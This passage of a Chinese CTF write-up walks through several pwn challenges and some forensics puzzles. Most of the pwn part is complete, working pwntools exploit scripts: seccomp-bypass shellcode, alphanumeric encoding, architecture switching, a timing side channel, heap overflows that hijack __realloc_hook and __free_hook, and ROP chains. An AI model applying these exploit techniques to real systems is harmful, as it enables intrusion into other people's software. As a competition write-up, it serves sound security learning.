            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

orw

一个伪heap题,开启了沙箱,编辑和打印功能没有,只能开辟两次堆,释放一次,没办法进行堆操作。

存在个index 负数溢出,可以实现修改got表,为堆地址。

__int64 sub_E44()
{
  int idx; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]

  if ( add_nums <= 1 )
  {
    puts("index:");
    idx = inputn();
    puts("size:");
    size = inputn();
    if ( size >= 0 && size <= 8 && idx <= 1 )   // index overflow
    {
      bufs[idx] = malloc(size);
      if ( !bufs[idx] )
      {
        puts("error");
        exit(0);
      }
      puts("content:");
      readn((_BYTE *)bufs[idx], size);
      ++add_nums;
    }
  }
  return add_nums;
}

查看程序架构

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

checksec发现存在rwx段,但发现是stack上的,想了半天没想通如何跳到堆栈那里去。

试试在堆上写shellcode,然后index溢出漏洞修改atoi的got地址为shellcode堆地址,跳到堆中执行指令,然而发现远程能执行,但自己本地不行,接下来就是orw的汇编指令编写了。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func-----------------------------
def db():
    gdb.attach(io)

def ad(idx, sz, d):
    sla('>>', '1')
    sla(':', str(idx))
    sla(':', str(sz))
    sa(':', d)

def dp(idx):
    sla('>>', '1')

def md():
    sla('>>', '1')

def rm(idx):
    sla('>>', '4')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    #for i in range(2):
    # wirte
    code = '''
    lea r15, [rip + 0xf9] /* buf */
    mov rdi, r15 /*buf*/
    mov rsi, 0x0 
    mov rdx, 0x0
    mov rax, 2
    syscall

    /*read*/
    mov rdi, 3
    mov rsi, r15
    mov rdx, 0x100
    mov rax, 0
    syscall

    /*write*/
    mov rdi, 1
    mov rax, 1
    syscall
    '''

    p = asm(code, arch = 'amd64')
    p = p.ljust(0x100, b'\x00')
    p += b'./flag\x00'

    ad(-14, 0, p + b'\n')
#    db()
    # call
    sla('>>', '4')

def finish():
    ia()
    c()

exploit()
finish()

shellcode

沙箱检查如下

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
 0003: 0x15 0x03 0x00 0x00000004  if (A == stat) goto 0007
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

输入的shellcode有检查

 for ( i = 0; i < v6; ++i )
 {
    if ( v4[i] <= 31 || v4[i] == '\x7F' )
      goto LABEL_10;
 }

也就是机器码字符小于等于’\x31’的就退出或等于’\x7f’,我们可以采用alpha3工具将机器码生成可显示字符,当然这个工具有限制,机器码不能出现’\x00’,通过调试发现,shellcode的基址存放在rbx上,我们先实现一个输入的shellcode,避免后续不会再进行shellcode过滤。

    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''

在原来的shellcode + 0x120处实现输入,再跳到那个地方去。

采用alpha3工具生成可显示shellcode如下

Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c

当然我也写了个函数方便修改。

def gen_code():
    fd = open('sc.bin', 'wb')
    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''
    p = asm(code, arch = 'amd64')
    fd.write(p)
    fd.close()
    cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
    p = os.popen(cmd).read()
    print('shellcode: ' + p)
    return p

然而这个题禁用函数太多了,open和write也禁了,只能切换到32位架构来实现部分绕过了,为了方便实现堆栈,指令储存,我重新申请了个地址段,方便后续实现架构切换方便与数据写入等。

    code = '''
    /*mmap*/
    mov r9d, 0          /* off */
    mov r8d, 0xFFFFFFFF /* fd */ 
    mov r10d, 0x22 /* flags */
    mov edx, 7          /* prot */
    mov esi, 0x1000      /* len */
    mov edi, 0x20000          /* addr */
    mov eax, 9
    syscall 

    /*read 32 shellcode*/
    xor rax, rax
    mov edi, 0
    mov esi, 0x20000
    mov edx, 0x1000 
    syscall

    /*retf to 32*/
    mov rax, 0x2300020000
    push rax
    '''
    p = asm(code, arch = 'amd64')
    p += b'\xCB' # retf

上面是实现向我们开辟到的内存写入数据,再从64位架构切换到32为且跳到我们开辟的内存段中。

后面就是写32位的asm code了,然而我发现,在32位下,只有一个有用的函数能调用,就是open函数,其他的read,write这些都不能调用了,这又使得重新回到64位下实现读入flag。

    code = '''
    mov esp, 0x20a00

    /*open*/
    mov eax, 5 
    mov ebx, 0x20020
    xor ecx, ecx
    xor edx, edx
    int 0x80

    /*retf to 64*/
    push 0x33
    push 0x20030
    '''

    db()
    p = asm(code, arch = 'i386')
    p += b'\xCB' # retf
    p = p.ljust(0x20, b'\x90')
    p += b'./flag\x00'
    p = p.ljust(0x30, b'\x90')

    code = ''' 
    xor rax, rax
    mov edi, 3
    mov rsi, rsp
    mov edx, 0x100
    syscall

    '''

由于不能使用write的系统调用,只能采用延时爆破了

    if idx == 0:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
    else:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

idx为读入的字符偏移,ch是我们猜测的字符,若想等,就进入死循环,否则就退出。

通过时间来判断是否想等。

总结:

这个题确实有点坑,shellcode必须为可显字符,后面绕过了,只能用少量的系统函数,64位架构时,只能使用read, mmap, fstat,我还以为切换架构到32位可以绕过syscall检测,想不到只允许调用open, 其他的read和write都不行,又重新切换到64位来执行read,再采用爆破读出来。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.137.118:50050"

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def gen_code():
    fd = open('sc.bin', 'wb')
    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''
    p = asm(code, arch = 'amd64')
    fd.write(p)
    fd.close()
    cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
    p = os.popen(cmd).read()
    print('shellcode: ' + p)
    return p
#--------------------------exploit--------------------------
# ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
#  ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o

def exploit(idx, ch):
    li('exploit...')
    '''
    git clone https://github.com/TaQini/alpha3.git
    cd alpha3
    python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
    rax: shellcode base_address
    '''
    # python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
    #p = gen_code()
    p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
    s(p)

    code = '''
    /*mmap*/
    mov r9d, 0          /* off */
    mov r8d, 0xFFFFFFFF /* fd */ 
    mov r10d, 0x22 /* flags */
    mov edx, 7          /* prot */
    mov esi, 0x1000      /* len */
    mov edi, 0x20000          /* addr */
    mov eax, 9
    syscall 

    /*read 32 shellcode*/
    xor rax, rax
    mov edi, 0
    mov esi, 0x20000
    mov edx, 0x1000 
    syscall

    /*retf to 32*/
    mov rax, 0x2300020000
    push rax
    '''
    p = asm(code, arch = 'amd64')
    p += b'\xCB' # retf

    #p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
    sleep(0.01)
    s(p)

    code = '''
    mov esp, 0x20a00

    /*open*/
    mov eax, 5 
    mov ebx, 0x20020
    xor ecx, ecx
    xor edx, edx
    int 0x80

    /*retf to 64*/
    push 0x33
    push 0x20030
    '''

    db()
    p = asm(code, arch = 'i386')
    p += b'\xCB' # retf
    p = p.ljust(0x20, b'\x90')
    p += b'./flag\x00'
    p = p.ljust(0x30, b'\x90')

    code = ''' 
    xor rax, rax
    mov edi, 3
    mov rsi, rsp
    mov edx, 0x100
    syscall

    '''

    if idx == 0:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
    else:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

    p += asm(code, arch = 'amd64')
    sleep(0.01)
    s(p)

    start = time.time()
    try:
        io.recv(timeout = 2)
    except:
        pass
    end = time.time()

    if (end - start > 1.5):
        return ch
    else:
        return None

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    flag = ''
    idx = 3
    while True:
        for ch in range(0x20, 127):
            if LOCAL:
                elf = ELF(elf_path)
                if LIBC:
                    libc = ELF(libc_path)
                io = elf.process()
            else:
                elf = ELF(elf_path)
                io = remote(host.split(':')[0], int(host.split(':')[1]))
                if LIBC:
                    libc = ELF(libc_path)

            ret = exploit(idx, ch)
            if(ret != None):
                li('found: ' + chr(ch))
                flag += chr(ch)
                li('flag: ' + flag)
                idx += 1
            io.close()

pipeline

没有free函数,通过设置大小为0即可实现释放内存功能。

找了偏移,chunk头部链表逻辑,没有发现漏洞,在编辑数据的功能中,发现了个整型溢出漏洞。

漏洞点

_QWORD *edit_body()
{
  _QWORD *result; // rax
  int size; // eax
  int index; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  _QWORD *buf; // [rsp+18h] [rbp-8h]

  index = print("index: ");
  result = (_QWORD *)get_buf(index);
  buf = result;
  if ( result )
  {
    result = (_QWORD *)*result;
    if ( *buf )
    {
      v3 = print("size: ");
      printf("data: ");
      size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
      if ( v3 <= size )
        LOWORD(size) = v3;                      // vul
      result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
    }
  }
  return result;
}

一个整性溢出,因为采用LOWORD(size) = v3;进行赋值的,当我输入负数绕过判断,若LOWORD(v3)中的值为大于size本身值,即可实现溢出,那么就很好利用了。实现了任意地址写入,但有个检查

unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
  unsigned __int64 result; // rax

  if ( ptr < *(_QWORD *)check_mem_buf
    || (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
  {
    puts("error");
    exit(0);
  }
  return result;
}

而check_mem_buf的值在初始化的时候赋予了

unsigned int init_()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  check_mem_buf = (__int64)malloc(0x10uLL);
  *(_QWORD *)check_mem_buf = check_mem_buf + 16;
  *(_QWORD *)(check_mem_buf + 8) = 0x21000LL;   // memsize
  return alarm(0x78u);
}

基本上我们只能在堆段中实现任意地址写入了,这也比较好绕过,每个编辑功能都有个head chunk,修改head中的body指针,就可以实现任意地址写入数据了。

修改__realloc_hook为system,再调用realloc函数即可调用system。

exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "59.110.173.239:2399"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad():
    sla('>>', '1')

def md(idx, of, sz):
    sla('>>', '2')
    sla(':', str(idx))
    sla(':', str(of))
    sla(':', str(sz))

def rm(idx):
    sla('>>', '3')
    sla(':', str(idx))

def ap(idx, sz, d):
    sla('>>', '4')
    sla(':', str(idx))
    sla(':', str(sz))
    sa(':', d)

def dp(idx):
    sla('>>', '5')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # leak libc
    ad()
    md(0, 0, 0x458)

    ad()
    md(0, 0, 0) # free

    md(0, 0, 0x458) # add
    dp(0)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
    li('libc_base: ' + hex(libc_base))

    # leak heap
    md(0, 0, 0) # free

    md(0, 0, 0x18) # add
    md(1, 0, 0x18) # add
    #ap(0, -1, 'A')

    ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
    md(0, 0, 0)  # free
    md(1, 0, 0)  # free

    md(0, 0, 0x18)  # add
    dp(0)
    ru('data: ')
    leak = u64(ru('\n').ljust(8, b'\x00'))
    heap = leak
    li('heap: ' + hex(heap))


    ad()
    md(1, 0x18, 0)  # add 1
    md(2, 0x18, 0)  # add 2

    ad()
    md(3, 0x18, 0)  # add 3


    md(2, 0, 0)  # free 2
    md(3, 0, 0)  # free 3
    md(1, 0, 0)  # free 1

    li('target_chunk: ' + hex(heap + 0x460))
    p = b'\x00' * 0x18
    p += p64(0x21) + p64(heap + 0x460) + p64(0)
    p += b'\n'
    ap(0, -0x7ffff00, p)
    md(3, 0, 0x18)  # add 3

    md(2, 0, 0x18)  # add 2
    p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
    p += b'\n'
    ap(2, 0x18, p)

    ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')

    ap(0, 0x18, '/bin/sh\x00\n')
    md(0, 0, 0)  # free , to get shell

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

babypwn

这个题也是个坑,打印函数采用加密

int __fastcall enc_print(unsigned int a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 2; i > 0; --i )
    a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
  return printf("%lx\n", a1);
}

采用z3库来解,只能解一次循环加密的,第二次循环的解不出来,只能不用该条件了。

漏洞点

unsigned __int64 __fastcall chc(_BYTE *a1)
{
  unsigned __int64 ch_; // rax

  while ( 1 )
  {
    ch_ = (unsigned __int8)*a1;
    if ( !(_BYTE)ch_ )
      break;
    if ( *a1 == '\x11' )                        // vul
    {
      ch_ = (unsigned __int64)a1;
      *a1 = 0;
      return ch_;
    }
    ++a1;
  }
  return ch_;
}

在输入完数据后,会死循环读取数据,若出现’\x00’则跳出,若出现’\x11’修改该字节为’\x00’且跳出循环。这利用方式就跟off by one差不多了。

程序开了沙箱

__int64 sub_BAA()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

前期我以为程序是在2.31下的利用方式,我一直在glibc 为2.31的环境下调试,怎么都不好构造绕过prev_size == chunk_size这个检查,查看libc.so.6,发现为2.27的。。。醉了。

那就很方便的采用unlink构造堆重叠,由于没有办法解密上面那个泄漏的数据,只能partial write打到_IO_2_1_stdout泄漏libc,打通几率1 / 16,

泄漏之后,然后劫持__free_hook为setcontext + 53处的gadget实现堆栈迁移值 __free_hook - 0x108处,这里我是放在__free_hook高地址位置的,本地能打通,远程死活打不通,我只调用write函数能够泄漏地址信息,应该是某些部分数据被覆盖,导致我的rop链破坏了,只能将rop放在__free_hook上面。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.130.158:8888"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(sz):
    sla('>>', '1')
    sla(':', str(sz))

def rm(idx):
    sla('>>', '2')
    sla(':', str(idx))

def md(idx, d):
    sla('>>', '3')
    sla(':', str(idx))
    sa(':', d)

def dp(idx):
    sla('>>', '4')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ad(0x108) # 0
    ad(0x128) # 1
    ad(0x118) # 2
    ad(0x108) # 3

    for i in range(7):
        ad(0x100)

    for i in range(4, 11):
        rm(i)

    for i in range(7):
        ad(0xf0)

    for i in range(4, 11):
        rm(i)
    rm(0) # set libc


    md(2, 'A' * 0x118) # set last one
    md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
    md(3, b'A' * 0xf8 + p64(0x121)) # set fake size

    rm(3) # unlink

    ad(0x108) # 0
    ad(0x108) # 3

    ad(0x108) # 4
    ad(0x108) # 5
    ad(0x108) # 7
    ad(0x108) # 8
    ad(0x108) # 9

    rm(2) # remove chunk1

    ad(0xd0) # 2
    ad(0x150) # 9

    ad(0x130) # 10
    #2760
    md(10, '\x50\x97') # set to stdout

    ad(0x118) # 11
    ad(0x118) # 12

    p = b'A' * 0x10
    p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
    md(12, p)

    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
    li('libc_base: ' + hex(libc_base))

    rm(11)
    md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))

    ad(0x130) # 11
    ad(0x130) # 13

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
    pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
    ret = libc_base + 0x00000000000008aa # ret
    pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
    syscall = libc_base + 0x11007f

    '''
    p = p64(libc_base + 0x520a5) # setcontext
    p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(libc_open)
    p += p64(pop_rdi) + p64(3)
    p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
    p += p64(libc_read)
    p += p64(pop_rdi) + p64(1)
    p += p64(libc_write)
    p = p.ljust(0x120, b'\x00')
    p += b'./flag'
    '''

    p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(pop_rax) + p64(2)
    p += p64(syscall)

    p += p64(pop_rdi) + p64(3)
    p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
    p += p64(pop_rax) + p64(0)
    p += p64(syscall)

    p += p64(pop_rdi) + p64(1)
    p += p64(pop_rax) + p64(1)
    p += p64(syscall)

    p = p.ljust(0x100, b'\x00')
    p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
    p += p64(libc_base + 0x520a5) # setcontext

    md(13, p) # modify free_hook

    p = b'A' * 0xa0
    p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
    p += p64(ret) # rcx
    md(11, p)

    db()
    rm(11)


def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        #io = elf.process()
        io = process(elf_path, env = {'LD_PREALOAD': libc_path})
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

 

Misc

BlueTeaming

看文件头是7z,解压后得到memory,看题目要找关于powershell的脚本的注册表key,windows下应该是HKEY

如下图:

尝试用HxD搜索关键词powershell,HKEY,发现还真有….

尝试一下确实是这个….但真的吐槽一下,没有格式确实难找…..上午就看到了,晚上才想起来试

CipherMan

取证题,一个secret,用diskgenius挂载了一下发现有密码

用打蓝帽申请的取证大师看了一下memory:

(由于没有有效文件名,这时候我们可以规定为raw,这样就能用取证大师打开)

搜索bek文件,并没有

在desktop中发现:

https://windows10.pro/forget-bitlocker-password-unlocking-with-recovery-keys/

和这个对比了一下,应该是密钥,但是打开是乱码,到现在我也不知道怎么解决这个问题….这条路没走通,于是想着猜一下不太合理的字符串,比如bitlocker对应的序列号.

将文件按照访问时间排序,一个一个看:

Wow, you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.

算是非预期把….试出来的…..flag长这样我也没想到…

ExtremelySlow

由pcapng可以导出一个pyc:

尝试在线反编译,发现有部分不能显示,让re手看了一下,

得到:

Instruction context:

 L.  56       262  LOAD_NAME                print
                 264  LOAD_NAME                e
                 266  LOAD_METHOD              decode
                 268  CALL_METHOD_0         0  ''
                 270  CALL_FUNCTION_1       1  ''
                 272  POP_TOP          
->               274  LOAD_CONST               None


# file latest.pyc
# --- This code section failed: ---

 L.   3         0  LOAD_CONST               0
                2  LOAD_CONST               None
                4  IMPORT_NAME              sys
                6  STORE_NAME               sys

 L.   4         8  LOAD_CONST               0
               10  LOAD_CONST               ('sha256',)
               12  IMPORT_NAME              hashlib
               14  IMPORT_FROM              sha256
               16  STORE_NAME               sha256
               18  POP_TOP          

 L.   6        20  LOAD_CODE                <code_object KSA>
               22  LOAD_STR                 'KSA'
               24  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
               26  STORE_NAME               KSA

 L.  16        28  LOAD_CODE                <code_object PRGA>
               30  LOAD_STR                 'PRGA'
               32  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
               34  STORE_NAME               PRGA

 L.  26        36  LOAD_CODE                <code_object RC4>
               38  LOAD_STR                 'RC4'
               40  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
               42  STORE_NAME               RC4

 L.  30        44  LOAD_CODE                <code_object xor>
               46  LOAD_STR                 'xor'
               48  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
               50  STORE_NAME               xor

 L.  33        52  LOAD_NAME                __name__
               54  LOAD_STR                 '__main__'
               56  COMPARE_OP               ==
               58  POP_JUMP_IF_FALSE   139  'to 139'

 L.  34        60  LOAD_CONST               b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
               62  STORE_NAME               w

 L.  35        64  LOAD_CONST               b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
               66  STORE_NAME               e

 L.  38        68  LOAD_CONST               b'geo'
               70  STORE_NAME               b

 L.  39        72  LOAD_CONST               b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
               74  STORE_NAME               s

 L.  41        76  LOAD_CONST               b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
               78  STORE_NAME               t

 L.  42        80  LOAD_CONST               115
               82  LOAD_CONST               97
               84  LOAD_CONST               117
               86  LOAD_CONST               114
               88  LOAD_CONST               (2, 8, 11, 10)
               90  BUILD_CONST_KEY_MAP_4     4 
               92  STORE_NAME               m

 L.  43        94  LOAD_CONST               119
               96  LOAD_CONST               116
               98  LOAD_CONST               124
              100  LOAD_CONST               127
              102  LOAD_CONST               (3, 7, 9, 12)
              104  BUILD_CONST_KEY_MAP_4     4 
              106  STORE_NAME               n

 L.  44       108  LOAD_NAME                m
              110  LOAD_DICTCOMP            '<code_object <dictcomp>>'
              112  LOAD_STR                 '<dictcomp>'
              114  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
              116  LOAD_NAME                n
              118  GET_ITER         
              120  CALL_FUNCTION_1       1  ''
              122  INPLACE_OR       
              124  STORE_NAME               m

 L.  45       126  LOAD_NAME                m
              128  LOAD_GENEXPR             '<code_object <genexpr>>'
              130  LOAD_STR                 '<genexpr>'
              132  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
              134  LOAD_NAME                b
              136  GET_ITER         
              138  CALL_FUNCTION_1       1  ''
              140  INPLACE_OR       
              142  STORE_NAME               m

 L.  47       144  LOAD_NAME                RC4
              146  LOAD_NAME                list
              148  LOAD_NAME                map
              150  LOAD_LAMBDA              '<code_object <lambda>>'
              152  LOAD_STR                 '<lambda>'
              154  MAKE_FUNCTION_0          'Neither defaults, keyword-only args, annotations, nor closures'
              156  LOAD_NAME                sorted
              158  LOAD_NAME                m
              160  LOAD_METHOD              items
              162  CALL_METHOD_0         0  ''
              164  CALL_FUNCTION_1       1  ''
              166  CALL_FUNCTION_2       2  ''
              168  CALL_FUNCTION_1       1  ''
              170  CALL_FUNCTION_1       1  ''
              172  STORE_NAME               stream

 L.  48       174  LOAD_NAME                print
              176  LOAD_NAME                xor
              178  LOAD_NAME                w
              180  LOAD_NAME                stream
              182  CALL_FUNCTION_2       2  ''
              184  LOAD_METHOD              decode
              186  CALL_METHOD_0         0  ''
              188  CALL_FUNCTION_1       1  ''
              190  POP_TOP          

 L.  49       192  LOAD_NAME                sys
              194  LOAD_ATTR                stdin
              196  LOAD_ATTR                buffer
              198  LOAD_METHOD              read
              200  CALL_METHOD_0         0  ''
              202  STORE_NAME               p

 L.  50       204  LOAD_NAME                xor
              206  LOAD_NAME                e
              208  LOAD_NAME                stream
              210  CALL_FUNCTION_2       2  ''
              212  STORE_NAME               e

 L.  52       214  LOAD_NAME                xor
              216  LOAD_NAME                p
              218  LOAD_NAME                stream
              220  CALL_FUNCTION_2       2  ''
              222  STORE_NAME               c

